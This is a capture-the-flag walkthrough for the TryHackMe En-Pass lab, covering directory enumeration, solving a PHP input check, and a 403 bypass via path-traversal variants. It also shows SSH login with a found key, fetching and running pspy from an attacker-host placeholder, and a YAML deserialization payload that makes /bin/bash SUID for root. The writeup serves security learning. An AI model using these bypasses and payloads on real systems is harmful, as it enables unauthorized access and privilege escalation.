TryHackMe En-Pass Writeup

Shivam Taneja
6 min readOct 29, 2022

TryHackMe En-pass Writeup

This writeup will help you solve the En-pass box on TryHackMe. Before we start enumerating the box, add the following line to your /etc/hosts file.

echo “<box_ip> enpass.thm” >> /etc/hosts

Enumeration

We start by running a port scan on the host using nmap. The sC and sV flags indicate that basic vulnerability scripts are executed against the target and that the port scan tries to find version information.

nmap -sV -sC enpass.thm

The output of the scan can be seen below:

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 8a:bf:6b:1e:93:71:7c:99:04:59:d3:8d:81:04:af:46 (RSA)

| 256 40:fd:0c:fc:0b:a8:f5:2d:b1:2e:34:81:e5:c7:a5:91 (ECDSA)

|_ 256 7b:39:97:f0:6c:8a:ba:38:5f:48:7b:cc:da:72:a8:44 (ED25519)

8001/tcp open http Apache httpd 2.4.18 ((Ubuntu))

|_http-server-header: Apache/2.4.18 (Ubuntu)

|_http-title: En-Pass

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We see 2 open ports. Port 22 is used for SSH and port 8001 serves for a web server. Browsing to http://enpass.thm:8001/ gives the following page:

Name The Path.

Let’s use gobuster to find hidden files and directories. Run the following command:

gobuster dir -u http://enpass.thm:8001/ -w /usr/share/wordlists/common.txt -x php

The output can be seen below:

/403.php (Status: 403)

/index.html (Status: 200)

/reg.php (Status: 200)

/server-status (Status: 403)

/web (Status: 301)

/zip (Status: 301)

We find two interesting paths here: zip and web. Furthermore, 403.php and reg.php look like interesting files. For now, let’s try to find more directories or files within this directory by running gobuster again for this directory.

gobuster dir -u http://enpass.thm:8001/web/ -w /usr/share/wordlists/common.txt

This gives us the following output:

/.htaccess (Status: 403)

/.htpasswd (Status: 403)

/.hta (Status: 403)

/resources (Status: 301)

Now we find the resources directory. Enumerating this directory the same way as we did before do not result in any interesting directories or files. You need another wordlist to find more hidden directories or files. Using the directory-list-2.3-medium.txt list will provide you with valuable output. Run gobuster using the following command:

gobuster dir -u http://enpass.thm:8001/web/resources/ -w /usr/share/wordlists/directory-list-2.3-medium.txt

The output is listed below:

/infoseek (Status: 301)

Run gobuster again to find the next directory.

gobuster dir -u http://enpass.thm:8001/web/resources/infoseek/ -w /usr/share/wordlists/common.txt

The output can be seen below:

/configure (Status: 301)

Run gobuster one final time to find the path required:

gobuster dir -u http://enpass.thm:8001/web/resources/infoseek/configure/ -w /usr/share/wordlists/directory-list-2.3-medium.txt -x php

The final output can be seen below:

/.hta (Status: 403)

/.htaccess (Status: 403)

/.htpasswd (Status: 403)

/key (Status: 200)

Browsing to http://enpass.thm:8001/web/resources/infoseek/configure/key gives us a private key. For now the private key does not provide us with much. The private key is password protected so we need to find the username and the password to log into the server using SSH.

reg.php

The content of http://enpass.thm:8001/reg.php can be seen below:

When inspecting the Page Source, we find the following snippet:

<?php

if ($_SERVER[“REQUEST_METHOD”] == “POST”)

{

$title = $_POST[“title”];

if (!preg_match(‘/[a-zA-Z0–9]/i’, $title))

{

$val = explode(“,”, $title);

$sum = 0;

for ($i = 0;$i < 9;$i++)

{

if ((strlen($val[0]) == 2) and (strlen($val[8]) == 3))

{

if ($val[5] != $val[8] and $val[3] != $val[7])

$sum = $sum + (bool)$val[$i] . “
“;

}

}

if (($sum) == 9)

{

echo $result; //do not worry you’ll get what you need.

echo “ Congo You Got It !! Nice “;

}

else

{

echo “ Try Try!!”;

}

}

else

{

echo “ Try Again!! “;

}

}

?>

The script checks the input on a set of requirements. For instance, the input !!,!,!,!,!,!,!,!!,!!! will be valid according to the regular expression shown above. Filling in this input reveals the message:

Nice. Password : <REDACTED>

403.php by-pass

The password we found belongs to the private key. The only thing left is to find the username so that we can log in the server using SSH. The last interesting page we can use to find the username is the 403.php file. Using 403fuzzer we can try to fuzz the 403 page. Run the following commands:

git clone https://github.com/intrudir/403fuzzer.git

cd 403fuzzer/

python3 403fuzzer.py -u http://enpass.thm:8001/403.php | grep 200

We only want to see valid pages, so that’s why we add the grep 200 to our command. Within a few minutes, you should see the following output:

Response Code: 200 Length: 2563 Path: /

Response Code: 200 Length: 2563 Path: /

Response Code: 200 Length: 2563 Path: /

Response Code: 200 Length: 2563 Path: /

Response Code: 200 Length: 2563 Path: /403.php%3b/%2e.

Response Code: 200 Length: 2563 Path: /403.php%3b/..

Response Code: 200 Length: 2563 Path: /403.php/%2e%2e

Response Code: 200 Length: 2563 Path: /403.php/%2e%2e/

Response Code: 200 Length: 2563 Path: /403.php/..

Response Code: 200 Length: 2563 Path: /403.php/../

Response Code: 200 Length: 2563 Path: /403.php/../../..//

Response Code: 200 Length: 2563 Path: /403.php/../..//

Response Code: 200 Length: 2563 Path: /403.php/../.;/../

Response Code: 200 Length: 2563 Path: /403.php/..//

Response Code: 200 Length: 2563 Path: /403.php/..//../

Response Code: 200 Length: 2563 Path: /403.php/../;/../

Response Code: 200 Length: 917 Path: /403.php/..;/

Response Code: 200 Length: 2563 Path: /403.php//../../

Response Code: 200 Length: 2563 Path: /403.php;/%2e%2e

Response Code: 200 Length: 2563 Path: /403.php;/%2e%2e/

Response Code: 200 Length: 2563 Path: /403.php;/%2e.

Response Code: 200 Length: 2563 Path: /403.php;/.%2e

Response Code: 200 Length: 2563 Path: /403.php;/..

Response Code: 200 Length: 2563 Path: /403.php;/../

Response Code: 200 Length: 2563 Path: /403.php;/../..//

Response Code: 200 Length: 2563 Path: /403.php;/../.;/../

Response Code: 200 Length: 2563 Path: /403.php;/..//

Response Code: 200 Length: 2563 Path: /403.php;/..//%2e%2e/

Response Code: 200 Length: 2563 Path: /403.php;/..//../

Response Code: 200 Length: 2563 Path: /403.php;/..///

Response Code: 200 Length: 2563 Path: /403.php;/../;/../

Response Code: 200 Length: 2563 Path: /403.php;//../../

Response Code: 200 Length: 2563 Path: /

Response Code: 200 Length: 2563 Path: /

Response Code: 200 Length: 2563 Path: /

Response code: 200 Response length: 0 Sent OPTIONS method.

One of the valid responses has a different size than the other responses. Browe to: http://enpass.thm:8001/403.php/..;/ to find the following text:

Glad to see you here.Congo, you bypassed it. ‘<redacted>’ is waiting for you somewhere.

Here we find the username so now we can finally log into the server using SSH to obtain the user.txt flag. Download the private key and log into the server by running:

wget http://enpass.thm:8001/web/resources/infoseek/configure/key

chmod 400 key

ssh -i key <redacted>@enpass.thm

Provide the password we found on the reg.php page, and we are into the system! The user.txt flag is located at /home/<redacted>/user.txt. You can run: /bin/bash -i to obtain a bash shell instead of a sh shell. It’s all a matter of personal preferences ;).

Root Flag

The last step in rooting the box is finding the root.txt flag. First, make sure to run pspy64s to find processes running on the system. Run the following lines on your local machine:

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s

python3 -m http.server

Then on the box run:

cd /tmp

wget HTTP://<ATTACKBOX_IP>:8000/pspy64s

chmod +x pspy64s

./pspy64s

You should be able to view some of the running processes. The most interesting one is:

/bin/sh -c cd /opt/scripts && sudo /usr/bin/python /opt/scripts/file.py && sudo rm -f /tmp/file.yml

It seems like this command is executed every minute by the root user. The contents of /opt/scripts/file.py can be seen below:

#!/usr/bin/python

import yaml

class Execute():

def __init__(self,file_name =”/tmp/file.yml”):

self.file_name = file_name

self.read_file = open(file_name ,”r”)

def run(self):

return self.read_file.read()

data = yaml.load(Execute().run())

A yaml file is requested at /tmp/file.yml. The content is read and executed afterwards. If the yaml file is not properly sanitized, an attacker can potentially run remote code. Run the following commands:

cd /tmp

touch file.yml

echo ‘!!python/object/apply:os.system [“chmod 4777 /bin/bash”]’ > file.yml

Wait for a minute and run:

/bin/bash -p

The root.txt flag is located in /root/root.txt.

This box was fun to root. I learned that you do not need to stop enumerating the system when you find a 403 page. Furthermore, despite using innocent yaml configuration files, you still can break the whole system if you abuse how you use them.

--

--

Shivam Taneja

IT Security Consultant, Researcher, Penetration Tester & Hacker.